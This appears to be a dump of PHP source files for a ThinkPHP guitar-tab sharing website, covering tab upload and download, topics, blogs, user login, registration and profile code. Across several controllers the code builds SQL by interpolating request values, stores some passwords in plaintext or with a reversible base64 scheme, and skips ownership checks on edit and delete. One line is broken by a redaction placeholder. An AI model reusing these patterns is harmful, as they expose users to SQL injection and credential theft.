$this->assign('gtp_list', $gtp_list);
$this->assign('page', $page);
$this->display("index");
}
public function details() {
$id = I("get.id");
$size = 10;
$map["state"] = 100;
$map["id"] = $id;
$gtp = M("Gtp")->where($map)->find();
$user = M("User")->where("id={$gtp['user_id']}")->find();
$song_title_gtps_map["id"] = array('neq', $id);
$song_title_gtps_map["state"] = 100;
$song_title_gtps_map["artist_name"] = $gtp['artist_name'];
$song_title_gtps_map["song_title"] = $gtp['song_title'];
$song_title_gtps = M("Gtp")->where($song_title_gtps_map)
->order('download_num desc')->limit($size)->select();
$artist_name_gtps_map["id"] = array('neq', $id);
$artist_name_gtps_map["state"] = 100;
$artist_name_gtps_map["artist_name"] = $gtp['artist_name'];
$artist_name_gtps = M("Gtp")->where($artist_name_gtps_map)
->order('download_num desc')->limit($size)->select();
$vedio_map["state"] = 100;
$vedio_map["artist_name"] = $gtp["artist_name"];
$vedio_map["song_title"] = $gtp["song_title"];
$vedioes = M("Vedio")->where($vedio_map)->order('view_num desc')->limit($size)->select();
//dump($vedioes);
$this->assign("gtp", $gtp);
$this->assign("user", $user);
$this->assign("song_title_gtps", $song_title_gtps);
$this->assign("artist_name_gtps", $artist_name_gtps);
$this->assign("vedioes", $vedioes);
$this->assign("title", $gtp['artist_name'].' '.$gtp['song_title'].' GTP吉他谱下载');
$this->assign("page_title", $gtp['artist_name'].' '.$gtp['song_title'].' GTP吉他谱下载');
$this->assign("description", $gtp['title']. ",".$gtp['song_title'].",".$gtp['artist_name'].",".'吉他谱,Guitar-Pro吉他谱');
$this->assign("can_edit", $this->can_edit("gtp", $gtp['id']));
$this->display();
}
public function download() {
$id = I("get.id");
$map["state"] = 100;
$map["id"] = $id;
M("Gtp")->where($map)->setInc('download_num');
$gtp = M("Gtp")->where($map)->find();
$download_file_name = $this->get_download_file_name($gtp);
$this->render_gtp($download_file_name, $gtp['file_name']);
}
private function get_download_file_name($gtp) {
$extend = substr($gtp['file_name'], (strrpos($gtp['file_name'], '.') + 1 ));
$extend = '.'.strtolower($extend);
$file_path = $_SERVER['DOCUMENT_ROOT']."gtp/";
return $gtp['artist_name']."-".$gtp['song_title'].$extend;
}
public function _before_add() {
if($this->logined != true)
redirect($this->site_url."/user/login/?page=gtp/add");
}
public function add() {
if(IS_POST) {
try {
$artist_name = I("post.artist_name");
$song_title = I("post.song_title");
if(empty($artist_name)) E("必须输入音乐人");
if(empty($song_title)) E("必须输入音乐名称");
if(empty($_FILES["file_name"])) E("必须上传Guitar Pro文件");
if($_FILES["file_name"]['size'] <= 0) E("必须上传正确的Guitar Pro附件");
$gtp = D("Gtp");
if($gtp->create()) {
$gtp->user_id = $this->uid;
$gtp->artist_name = trim($artist_name);
$gtp->song_title = trim($song_title);
$gtp->author = trim(I("post.author"));
$gtp->source = trim(I("post.source"));
// pinyin
$pinyin = new PinYin();
$gtp->letters = $pinyin->pinyin($gtp->song_title);
if(!empty($_FILES["file_name"]) && $_FILES["file_name"]['size'] > 0) {
$upload = new Upload();
$upload->maxSize = 3145728;
$upload->saveName = 'time';
$upload->exts = array('gp3', 'gp4', 'gp5', 'gp6', 'gpx');
$upload->rootPath = './';
$upload->savePath = './upload/gtp/';
$info = $upload->uploadOne($_FILES['file_name']);
if(!$info) {
throw new Exception($upload->getError());
} else {
$gtp->file_name = substr($info['savepath'].$info['savename'], 2);
$gtp->file_size = $_FILES["file_name"]['size'];
}
} else {
E("必须上传Guitar Pro附件");
}
$id = $gtp->add($data);
$this->redirect('/gtp/'.$id);
} else {
throw new Exception($gtp->getError());
}
} catch (Exception $ex) {
$this->assign("artist_name", I("post.artist_name"));
$this->assign("song_title", I("post.song_title"));
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$id = I("get.id");
$artist_name = I("get.artist_name");
if(!empty($id)) {
$map["state"] = 100;
$map["id"] = $id;
$gtp = M("Gtp")->where($map)->find();
$this->assign("song_title", $gtp['song_title']);
$this->assign("artist_name", $gtp['artist_name']);
} else if (!empty($artist_name)) {
$this->assign("artist_name", $artist_name);
}
$this->assign("title", '上传吉他谱');
$this->assign("page_title", '上传吉他谱');
$this->display();
}
}
public function _before_edit() {
$id = I("get.id");
$url = $this->site_url."/user/login/?action=/gtp/edit/".$id;
if($this->role != "admin") {
if($this->logined != true)
redirect($url);
//$map["state"] = 100;
//$map["id"] = $id;
//$gtp = M('Gtp')->where($map)->find();
}
}
public function edit() {
if(IS_POST) {
try
{
$artist_name = I("post.artist_name");
$song_title = I("post.song_title");
if(empty($artist_name)) E("必须输入音乐人");
if(empty($song_title)) E("必须输入音乐名称");
if(empty($_FILES["file_name"])) E("必须上传Guitar Pro附件");
if($_FILES["file_name"]['size'] <= 0) E("必须上传正确的Guitar Pro附件");
$data['artist_name'] = trim($artist_name);
$data['song_title'] = trim($song_title);
$data['author'] = trim(I("post.author"));
$data['source'] = trim(I("post.source"));
$pinyin = new PinYin();
$data['letters'] = $pinyin->pinyin(trim($song_title));
$id = $_POST['id'];
if(!empty($_FILES["file_name"]) && $_FILES["file_name"]['size'] > 0) {
$upload = new Upload();
$upload->maxSize = 3145728;
$upload->allowExts = array('gtp', 'gp3', 'gp4', 'gp5', 'gp6', 'gpx');
$gtp = M("Gtp")->where("id={$id}")->find();
$arr = explode(".", $gtp['file_name']);
$upload->saveRule = $arr[0];
$upload->rootPath = './';
$upload->uploadReplace = true;
$upload->savePath = './upload/gtp/';
$info = $upload->uploadOne($_FILES['file_name']);
if(!$info) {
throw new Exception($upload->getError());
}else{
$data['file_name'] = $info['savepath'].$info['savename'];
$gtp = M("Gtp")->find($id);
unlink($gtp["file_name"]);
}
}
M("Gtp")->where("id={$id}")->data($data)->save();
$this->redirect('/gtp/'.$id);
}
catch(Exception $ex) {
$gtp = M("Gtp")->find(I("post.id"));
$this->assign("gtp", $gtp);
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$id = I("get.id");
$map["id"] = $id;
$map["state"] = 100;
$gtp = M("Gtp")->where($map)->find();
$this->assign("gtp_id", $id);
$this->assign("gtp", $gtp);
$this->assign("title", '编辑吉他谱');
$this->assign("page_title", '编辑吉他谱');
$this->display();
}
}
}<file_sep>/Application/Home/Controller/TopicController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Think\Exception;
class TopicController extends BaseController {
public function details() {
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$id = I("get.id");
$topic = M("Topic")
->join("user on user.id=topic.user_id")
->field(" topic.id, topic.user_id, topic.group_id, topic.title, topic.content, topic.reply_num, topic.add_time, topic.state, user.nick, user.face")
->where("topic.id={$id}")->find();
$group = M("Group")->where("id={$topic['group_id']}")->find();
$map["comment.state"] = 100;
$map["comment.item_type"] = "topic";
$map["comment.item_id"] = $id;
$comment_list = M("Comment")
->join("user on user.id=comment.user_id")
->field("comment.id, comment.item_type, comment.item_id, comment.parent_id, comment.user_id, comment.content, comment. add_time, user.nick, user.face")
->where($map)->order("add_time")->page($p.",{$size}")->select();
$ug_map["user_id"] = $this->uid;
$ug_map["group_id"] = $group["id"];
$userGroup = M("UserGroup")->where($ug_map)->find();
$this->assign("topic", $topic);
$this->assign("group", $group);
$this->assign("comment_list", $comment_list);
$this->assign("userGroup", $userGroup);
$this->display();
}
public function _before_add() {
if($this->logined != true)
redirect($this->site_url."/user/login/?page=topic/add");
}
public function add() {
if(IS_POST) {
$title = I("post.title");
$content = I("post.content");
$group_id = I("post.group_id");
try{
if(empty($title)) E("必须输标题");
if(empty($content)) E("必须输内容");
$topic = D("Topic");
if($topic->create()) {
$topic->user_id = $this->uid;
$topic->content = nl2br2(I("post.content"));
$topic_id = $topic->add();
$this->redirect('/topic/'.$topic_id);
}
} catch (Exception $ex) {
$this->assign("title", $title);
$this->assign("content", $content);
$this->assign("group_id", $group_id);
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$group_id = I("get.group_id");
$this->assign("group_id", $group_id);
$this->display();
}
}
public function _before_edit() {
if($this->logined != true)
redirect($this->site_url."/user/login/?page=topic/edit/".I("get.id"));
}
public function edit() {
if(IS_POST) {
$title = trim(I("post.title"));
$content = I("post.content");
try {
if(empty($title)) E("必须输标题");
if(empty($content)) E("必须输内容");
$id = I("post.topic_id");
$data["title"] = $title;
$data["content"] = nl2br2(I("post.content"));
M("Topic")->where("id={$id}")->data($data)->save();
$this->redirect('/topic/'.$id);
} catch (Exception $ex) {
$this->assign("title", $title);
$this->assign("content", $content);
$this->assign("group_id", $group_id);
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$id = I("get.id");
$topic = M("Topic")->where("id={$id}")->find();
$this->assign("topic", $topic);
$this->display();
}
}
public function _before_top() {
if($this->logined != true)
redirect($this->site_url."/user/login");
}
public function top() {
$id = trim(I("get.id"));
$type = trim(I("get.type"));
$opt = trim(I("get.opt"));
try{
if(empty($id)) E("必须有话题编号");
if(empty($type)) $type = "edit";
$topic = M("Topic")->find($id);
$data["id"] = $id;
if($opt == "cancel") {
$data["state"] = 100;
} else {
$data["state"] = 110;
}
M("Topic")->data($data)->save();
$this->redirect('/group/'.$topic['group_id']);
} catch (Exception $ex) {
$this->error($ex->getMessage());
}
}
public function _before_delete() {
if($this->logined != true)
redirect($this->site_url."/user/login");
}
public function delete() {
$id = trim(I("get.id"));
$type = trim(I("get.type"));
try {
if(empty($id)) E("必须有话题编号");
if(empty($type)) $type = "edit";
$topic = M("Topic")->find($id);
if($type == "delete") {
M("Topic")->where("id={$id}")->delete();
} else {
$data["id"] = $id;
$data["state"] = -1;
M("Topic")->data($data)->save();
}
$this->redirect('/group/'.$topic['group_id']);
} catch (Exception $ex) {
$this->error($ex->getMessage());
}
}
}<file_sep>/Application/M/Controller/NoticeController.class.php
<?php
namespace M\Controller;
use Think\Controller;
use Think\Exception;
class NoticeController extends BaseController {
public function index() {
$key = trim($_GET['key']);
switch ($key) {
case 'apply':
$this->assign("item", trim($_GET["item_id"]));
break;
default:
break;
}
$this->assign("key", $_GET['key']);
$this->display();
}
}<file_sep>/Application/Admin/Model/GtpViewModel.class.php
<?php
namespace Admin\Model;
use Think\Model\ViewModel;
class GtpViewModel extends ViewModel {
protected $viewFields = array(
'Gtp' => array(
'id', 'user_id', 'artist_name', 'song_title', 'file_name', 'author',
'source', 'download_num', 'digg_num', 'comment_num', 'tags', 'add_time', 'state'
),
'User' => array('nick', '_on'=>'Gtp.user_id = User.id'),
);
}
?>
<file_sep>/Application/Home/Controller/BlogController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Think\Exception;
use Think\Page;
use Think\Upload;
use Think\Image;
use Org\Util\ImageCrop;
class BlogController extends BaseController {
public function details() {
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$id = I("get.id");
$blog = M("Blog")
->join("user on blog.user_id=user.id")
->field("user.nick, blog.id, blog.user_id, blog.title, blog.content, blog.add_time")
->where("blog.id={$id}")
->find();
$map["comment.state"] = 100;
$map["comment.item_type"] = "blog";
$map["comment.item_id"] = $id;
$comment_list = M("Comment")
->join("user on user.id=comment.user_id")
->field("comment.id, comment.item_type, comment.item_id, comment.parent_id, comment.user_id, comment.content, comment. add_time, user.nick, user.face")
->where($map)->order("add_time")->page($p.",{$size}")->select();
$map_blog["state"] = 100;
$map_blog["id"] = array("neq", $id);
$blog_list = M("Blog")->where($map_blog)->order("add_time desc")->limit(10)->select();
$this->assign("blog", $blog);
$this->assign("comment_list", $comment_list);
$this->assign("blog_list", $blog_list);
$this->display();
}
}<file_sep>/Application/Home/Controller/IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Think\Exception;
class IndexController extends BaseController {
public function index() {
$size = 25;
$cache_seconds = 60;
$map["state"] = 100;
$order = "add_time desc";
//$vedioes = M("Vedio")->where($map)->order($order)->limit($size)->cache('index_vedioes', $cache_seconds)->select();
$gtps = M("Gtp")->where($map)->order($order)->limit($size)->cache('index_gtps', $cache_seconds)->select();
//$this->assign("vedio_list", $vedioes);
$this->assign("gtp_list", $gtps);
$this->assign("channel", "home");
//$this->display();
$this->render();
}
public function search() {
$k = trim(I("get.k"));
$this->assign('k', $k);
$vedio_map["state"] = 100;
$vedio_map["title"] = array("like", "%$k%");
$gtp_map["state"] = 100;
$gtp_map["song_title|artist_name"] = array('like', "%{$k}%");
$order = "add_time desc";
$vedioes = M("Vedio")->where($vedio_map)->order($order)->limit($size)->select();
$gtps = M("Gtp")->where($gtp_map)->order($order)->limit($size)->select();
$this->assign("vedio_list", $vedioes);
$this->assign("gtp_list", $gtps);
$this->assign("channel", "home");
$this->display("index");
}
}<file_sep>/ThinkPHP/Library/Org/Util/Encode.class.php
<?php
namespace Org\Util;
class Encode {
static function encode($string = '', $skey = 'gtpgtp') {
$strArr = str_split(base64_encode($string));
$strCount = count($strArr);
foreach (str_split($skey) as $key => $value)
$key < $strCount && $strArr[$key].=$value;
return str_replace(array('=', '+', '/'), array('O0O0O', 'o000o', 'oo00o'), join('', $strArr));
}
static function decode($string = '', $skey = 'gtpgtp') {
$strArr = str_split(str_replace(array('O0O0O', 'o000o', 'oo00o'), array('=', '+', '/'), $string), 2);
$strCount = count($strArr);
foreach (str_split($skey) as $key => $value)
$key <= $strCount && $strArr[$key][1] === $value && $strArr[$key] = $strArr[$key][0];
return base64_decode(join('', $strArr));
}
}
?><file_sep>/Application/M/Controller/PeopleController.class.php
<?php
namespace M\Controller;
use Think\Controller;
use Think\Exception;
header("Content-type: text/html; charset=utf-8");
class PeopleController extends BaseController {
public function login() {
if(IS_POST) {
try {
//$name = trim($_POST["name"]);
$tel = trim($_POST["tel"]);
$pwd = trim($_POST["pwd"]);
if(!$this->is_tel($tel))
throw new Exception("不是有效的手机号码");
$map["tel"] = $tel;
$map["pwd"] = $pwd;
$people = M("People")->where($map)->find();
//dump($user);
if(!empty($people)) {
cookie('uid', $people["id"], $this->cookie_parm);
cookie('tel', $people["tel"], $this->cookie_parm);
if($people["state"] == 100)
$this->redirect("/m/");
else {
// state = 1 刚注册; state = -100 取消审核
//$this->redirect("/m/people/login_notice");
redirect($this->site_url."/m/notice/?key=login_notice");
}
} else {
$tel_count = M("People")->where("tel='{$tel}'")->count();
//dump(M("User")->_sql());
if($tel_count > 0)
throw new Exception("电话号码与密码不匹配");
throw new Exception("电话号码未注册");
}
} catch (Exception $ex) {
$this->assign("tel", $_POST["tel"]);
//$this->assign("name", $_POST["name"]);
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$this->display();
}
}
public function register() {
if(IS_POST) {
try {
$name = trim($_POST["name"]);
$tel = trim($_POST["tel"]);
//dump($_POST);
if(!$this->is_tel($tel))
throw new Exception("不是有效的手机号码");
$tel_count = M("People")->where("tel='{$tel}'")->count();
if($tel_count > 0)
throw new Exception("该电话号码已被注册");
$people = D("People");
if($people->create()) {
$people->pwd = substr($tel, -6);
$people->state = 1;
$people->add_time = date("Y-m-d H:i:s");;
$id =$people->add();
cookie('uid', $id, $this->cookie_parm);
cookie('tel', $tel, $this->cookie_parm);
//$this->redirect("/m/people/login_notice");
redirect($this->site_url."/m/notice/?key=login_notice");
}
throw new Exception("用户注册失败");
} catch(Exception $ex) {
$this->assign("tel", $_POST["tel"]);
$this->assign("name", $_POST["name"]);
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$this->display();
}
}
public function repwd() {
if(IS_POST) {
try {
$people_id = $this->uid;
$pwd = trim($_POST["pwd"]);
$pwd_new1 = trim($_POST["pwd_new1"]);
$pwd_new2 = trim($_POST["pwd_new2"]);
if($pwd_new1 != $pwd_new2)
throw new Exception("两次输入新密码不匹配");
$map["id"] = $people_id;
$map["pwd"] = $pwd;
$count = M("People")->where($map)->count();
// correct
if($count > 0) {
$p_map["pwd"] = <PASSWORD>;
M("People")->where("id = {$people_id}")->data($p_map)->save();
redirect(C("TMPL_PARSE_STRING.__SITE__")."/m", 3, "修改成功");
}else { // incorrect
throw new Exception("输入原密码不正确");
}
} catch (Exception $ex) {
$this->assign("tel", $_POST["tel"]);
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$this->assign("tel", cookie($this->prefix."tel"));
$this->display();
}
}
public function logout() {
cookie(null, $this->prefix);
$this->redirect("/m/people/login");
}
private function is_tel($tel) {
$is_tel = false;
if(preg_match("/1[3458]{1}\d{9}$/", $tel))
$is_tel = true;
return $is_tel;
}
}<file_sep>/Application/Admin/Controller/IndexController.class.php
<?php
namespace Admin\Controller;
use Think\Controller;
use Think\Exception;
class IndexController extends BaseController {
public function _before_index() {
if(!$this->is_admin())
redirect($this->site_url."/user/login/?page=admin/index/index");
}
public function index() {
$this->display();
}
}<file_sep>/Application/M/Model/PeopleModel.class.php
<?php
namespace Home\Model;
use Think\Model;
class PeopleModel extends Model {
protected $_auto = array(
array('apply_num', 0),
array('work_num', 0),
array('add_time', 'date', 1, 'function', array('Y-m-d H:i:s')),
array('state', 1)
);
}
?><file_sep>/Application/Home/Controller/UserController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Think\Exception;
use Think\Upload;
use Think\Image;
use Org\Util\Encode;
use Org\Util\String;
use Org\Util\ImageCrop;
class UserController extends BaseController {
public function login() {
if(IS_POST) {
try {
$nick = trim(I("post.nick"));
$pwd = trim(I("post.pwd"));
if(empty($nick)) E("用户名不能为空");
if(empty($pwd)) E("密码不能为空");
$encode = new Encode();
$pwd = $encode->encode($pwd);
$string = new String();
if($string->isEmail($nick)) {
$map["email"] = $nick;
} else {
$map["nick"] = $nick;
}
$map["pwd"] = $pwd;
$user = M("User")->where($map)->find();
//dump(M("User")->_sql());
if(!empty($user)) {
$data["last_login_time"] = $this->get_now();
M("User")->where("id={$user['id']}")->data($data)->save();
$this->add_cookie($user["id"], $user["nick"], $user["role"]);
$page = I("post.page");
if(empty($page))
$this->redirect("/");
else
redirect($this->site_url.'/'.$page);
} else {
$nick_count = M("User")->where("nick='{$nick}'")->count();
//dump(M("User")->_sql());
if($nick_count > 0) E("用户名与密码不匹配");
else E("用户名不存在");
}
} catch (Exception $ex) {
$this->assign("nick", I("post.nick"));
$this->assign("email", I("post.email"));
$this->assign("page", I("post.page"));
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$page = I("get.page");
$this->assign("page", $page);
$this->display();
}
}
public function register() {
if(IS_POST) {
try {
//throw new Exception("暂未开放注册", 1);
$nick = trim(I("post.nick"));
$pwd = trim(I("post.pwd"));
$re_pwd = trim(I("post.re_pwd"));
$email = trim(I("post.email"));
$string = new String();
$encode = new Encode();
if(empty($nick)) E("用户名不能为空");
if(empty($pwd)) E("密码不能为空");
if(empty($email)) E("邮箱不能为空");
if($pwd != $re_pwd) E("两次输入密码必须相同");
if(!$string->isEmail($email)) E("非法的Email格式");
if($string->isEmail($nick)) E("用户名不能是邮箱");
$nick_count = M("User")->where("nick='{$nick}'")->count();
if($nick_count > 0) E("用户名已存在");
$email_count = M("User")->where("email='{$email}'")->count();
if($email_count > 0) E("邮箱已存在");
$user = D("User");
if($user->create()) {
$pwd = $encode->encode($pwd);
$user->pwd = $pwd;
$id =$user->add();
$this->add_cookie($id, $nick, 'member');
$this->redirect("/");
}
E("用户注册失败");
} catch (Exception $ex) {
$this->assign("nick", trim(I("post.nick")));
$this->assign("email", trim(I("post.email")));
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$this->display();
}
}
public function details() {
$id = I("get.id");
$domain = I("get.domain");
$tab = I("get.tab");
if(!empty($id))
$user = M("User")->where("id={$id}")->find();
if(!empty($domain))
$user = M("User")->where("domain='{$domain}'")->find();
$this->assign("user", $user);
$this->assign("tab", $tab);
$this->display();
}
public function _before_settings() {
if($this->logined != true)
redirect($this->site_url."/user/login/?page=user/settings");
}
public function settings() {
if(IS_POST) {
try {
$user_id = $this->uid;
$domain = I("post.domain");
$signature = I("post.signature");
$province_code = I("post.province_code");
$city_code = I("post.city_code");
if(!empty($domain)) {
if(strlen($domain) < 4 || strlen($domain) > 20) E("个性域名只能由4-20个字母或数字组成");
$first_letter = substr($domain, 0, 1);
if(is_numeric($first_letter)) E("个性域名第一位不能为数字");
$domain_count = M("User")->where("domain='{$domain}'")->count();
if($domain_count > 0) E("个性域名已被占用");
$data['domain'] = trim($domain);
}
$data['signature'] = nl2br2(trim($signature));
$data['province_code'] = trim($province_code);
$data['city_code'] = trim($city_code);
M("User")->where("id={$user_id}")->data($data)->save();
$user = M("User")->where("id={$user_id}")->find();
$province_list = M("Province")->order("id")->select();
$this->assign("province_list", $province_list);
$city = M("City")->where("code='{$user['city_code']}'")->find();
$this->assign("city", $city);
$city_list = M("City")->where("province_code='{$user['province_code']}'")->select();
$this->assign("city_list", $city_list);
$this->assign("notice", "编辑成功");
$this->assign("user", $user);
$this->display();
} catch (Exception $ex) {
$user = M("User")->where("id={$this->uid}")->find();
$signature = I("post.signature");
$province_code = I("post.province_code");
$city_code = I("post.city_code");
$domain = I("post.domain");
if(!empty($signature)) $user->signature = $signature;
if(!empty($province_code)) $user->province_code = $province_code;
if(!empty($city_code)) $user->city_code = $city_code;
if(!empty($domain)) $user->domain = $domain;
$province_list = M("Province")->order("id")->select();
$this->assign("province_list", $province_list);
if($user["city_code"] != "-1") {
$city = M("City")->where("code='{$user['city_code']}'")->find();
$this->assign("city", $city);
}
$city_list = M("City")->where("province_code='{$user['province_code']}'")->select();
$this->assign("city_list", $city_list);
$this->assign("user", $user);
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$user = M("User")->where("id={$this->uid}")->find();
$province_list = M("Province")->order("id")->select();
if($user["city_code"] != "-1") {
$city = M("City")->where("code='{$user['city_code']}'")->find();
$this->assign("city", $city);
}
$city_list = M("City")->where("province_code='{$user['province_code']}'")->select();
$this->assign("city_list", $city_list);
$page = I("get.page");
$this->assign("page", $page);
$this->assign("user", $user);
$this->assign("province_list", $province_list);
$this->display();
}
}
public function _before_get_city() {
if($this->logined != true)
redirect($this->site_url."/user/login");
}
public function get_city() {
$province_code = I("get.province_code");
$city_list = M("City")->where("province_code = '{$province_code}'")->select();
echo json_encode($city_list);
}
public function _before_face() {
if($this->logined != true)
redirect($this->site_url."/user/login");
}
public function face() {
$user_id = $this->uid;
if(IS_POST) {
try {
if(!empty($_FILES["face"]) && $_FILES["face"]['size'] > 0) {
$upload = new Upload();
$upload->maxSize = 3145728;
$upload->exts = array('jpg', 'gif', 'png', 'jpeg');
$upload->saveName = 'time';
$upload->replace = true;
$upload->rootPath = './';
$upload->savePath = './upload/face/';
$info = $upload->uploadOne($_FILES['face']);
if(!$info) {
E($upload->getError());
}else{
$image = new Image();
$thumb_file = $info['savepath'] . $info['savename'];
$m_path = $info['savepath'] . 'm' . $info['savename'];
$s_path = $info['savepath'] . 's' . $info['savename'];
$image->open($thumb_file)
->thumb(300, 300, Image::IMAGE_THUMB_CENTER)
->save($m_path);
$image->open($thumb_file)
->thumb(50, 50, Image::IMAGE_THUMB_CENTER)
->save($s_path);
$user = M("User")->where("id = {$user_id}")->find();
$old_imgUrlpath = $user["face"];
unlink(getImgName($old_imgUrlpath, 'm', false));
unlink(getImgName($old_imgUrlpath, 's', false));
unlink($thumb_file);
$data['face'] = substr($thumb_file, 2);
M("User")->where("id={$user_id}")->data($data)->save();
}
$this->redirect("/user/face");
}
E("必须上传图片文件");
} catch (Exception $ex) {
$user = M("User")->where("id={$user_id}")->find();
$this->assign("face", $user["face"]);
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$user = M("User")->where("id={$user_id}")->find();
$this->assign("face", $user["face"]);
$this->display();
}
}
public function crop() {
if(IS_POST) {
try {
$user_id = $this->uid;
$user = M("User")->where("id={$user_id}")->find();
$crop = new ImageCrop();
$crop->initialize(
getImgName($user['face'], 'm', false),
getImgName($user['face'], 's', false),
I("post.x"),
I("post.y"),
I("post.x") + I("post.w"),
I("post.y") + I("post.h")
);
//dump(I("post.x"));
//dump(I("post.y"));
//dump(I("post.x") + I("post.w"));
//dump(I("post.y") + I("post.h"));
$filename = $crop->generate();
$this->redirect("user/settings");
} catch (Exception $ex) {
$this->assign("err", $ex->getMessage());
$this->display();
}
}
}
public function logout() {
cookie(null, $this->prefix);
$this->redirect("/");
}
}<file_sep>/Application/Common/Common/function.php
<?php
function nl2br2($string) {
$string = str_replace(array("\r\n", "\r", "\n"), "<br />", $string);
return $string;
}
function br2nl ( $string, $separator = PHP_EOL ) {
$separator = in_array($separator, array("\n", "\r", "\r\n", "\n\r", chr(30), chr(155), PHP_EOL)) ? $separator : PHP_EOL; // Checks if provided $separator is valid.
return preg_replace('/\<br(\s*)?\/?\>/i', $separator, $string);
}
?><file_sep>/Application/Runtime/Cache/Home/28abbe4efed2ee3467ec5484a9a5e2af.php
<?php if (!defined('THINK_PATH')) exit();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> -->
<?php if(!empty($title)): ?><title><?php echo ($title); ?>|Guitar Pro</title>
<?php else: ?>
<title>Guitar Pro</title><?php endif; ?>
<meta name="keywords" content="吉他谱,吉他,吉他视频,GTP,Guitar Pro,吉他谱下载" />
<?php if(!empty($description)): ?><meta name="description" content="<?php echo ($description); ?>,收藏自阿谱小站." />
<?php else: ?>
<meta name="description" content="Guitar-pro,收集分享Guitar-pro吉他谱,吉他视频,为吉他爱好者打造网上资源互动社区." /><?php endif; ?>
<link rel="alternate" type="application/rss+xml" title="阿谱小站" href="http://localhost:9990/gtp/feed" />
<link rel="shortcut icon" href="http://localhost:9990/gtp/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/concision.css" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/prettify.css" />
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="http://localhost:9990/gtp/js/guitar.js"></script>
</head>
<body>
<div class="header">
<div class="header-wrap wp cf">
<h3 class="logo"><a href="http://localhost:9990/gtp" title="返回首页">Guitar Pro</a></h3>
<ul class="navg">
<li class="title <?php if((CONTROLLER_NAME == 'Index')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp">首页</a></li>
<li class="title <?php if((CONTROLLER_NAME == 'Gtp')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
<!--
<li class="title <?php if(($channel == 'Vedio')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/vedio/">吉他视频</a></li>
<li class="title <?php if($channel == "Group" || $channel == "Topic") { ?>selected<?php } ?>"><a class="show" href="http://localhost:9990/gtp/group/">小组</a></li>
<?php if($_logined) { ?>
<li class="title <?php if(($channel == 'user')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/user/<?php echo (getuserdomainbyid($_uid)); ?>">我的空间</a></li>
<?php } ?>
-->
</ul>
<p class="user">
<?php if(!$_logined) { ?>
[<a href="http://localhost:9990/gtp/user/login">登录</a><a href="http://localhost:9990/gtp/user/register">注册</a>]
<?php } else { ?>
[ <?php echo (urldecode($_nick)); ?>
<!--
<a href="http://localhost:9990/gtp/message/" class="mlr0">邮件<?php if($_msgNum > 0) { ?><span id="msg">(<?php echo ($_msgNum); ?>)</span><?php } ?></a>
-->
<a href="http://localhost:9990/gtp/user/settings">设置</a> <a href="http://localhost:9990/gtp/user/logout">退出</a>]
<?php } ?>
</p>
</div>
</div>
<div class="contaier thinkphp-app wp">
<div class="app-left">
<div class="ident">话题</div>
<!--文章详细-->
<div class="app-detail">
<h1><?php echo ($blog["title"]); ?></h1>
<div class="body">
<div style="margin-top: 0px; color: #999;">
<div style="width: 100%;">
<div style="float: left">
<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($blog['user_id']); ?>"><img src="<?php getUserFaceById($blog['user_id'], 's'); ?>" class="face" /></a>
</div>
<div style="float: left; margin-left: 10px;">
来自:<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($blog['user_id']); ?>"><?php echo ($blog["nick"]); ?></a>
<p style="line-height: 30px;"><?php echo (totime($blog["add_time"])); ?></p>
</div>
</div>
<br class="clear" />
<br/>
<div style="line-height: 200%; color: #333;">
<?php echo (autolink($blog["content"])); ?>
</div>
</div>
</div>
</div>
<!--/文章详细-->
<!--文章评论-->
<div class="review">
<?php if($_logined == false) { ?>
<?php $goto = "blog/".$blog['id']."#comments"; ?>
<div class="trbody">
<div class="login-tip">
您需要登录后才可以评论 <a href="javascript:void(0);" id="doLogin">登录</a> | <a href="http://localhost:9990/gtp/user/register?page=<?php echo ($page); ?>" id="doRegister">立即注册</a>
</div>
</div>
<div class="body form " id="loginForm">
<form action="http://localhost:9990/gtp/user/login" method="post" class="login">
<div style="float: right; margin-top: -40px; margin-right: -20px;">
<img src="http://localhost:9990/gtp/img/cancel.png" id="loginExit" />
</div>
<table>
<tr>
<th>用户名</th>
<td>
<input class="text" type="text" name="nick" />
</td>
</tr>
<tr>
<th>密 码</th>
<td>
<input class="text" type="password" name="pwd" />
</td>
</tr>
<tr>
<th> </th>
<td>
<input type="hidden" name="page" value="<?php echo ($goto); ?>" />
<input class="submit" type="submit" value="登录" />
<a href="http://localhost:9990/gtp/user/register?page=<?php echo ($page); ?>">注册</a>
</td>
</tr>
</table>
</form>
</div>
<?php } ?>
<?php $item_type = "blog"; $item_id = $blog['id']; ?>
<ul id="comment_list">
<?php if(is_array($comment_list)): foreach($comment_list as $key=>$comment): ?><li id="comment-<?php echo ($comment["id"]); ?>">
<div class="comm_l">
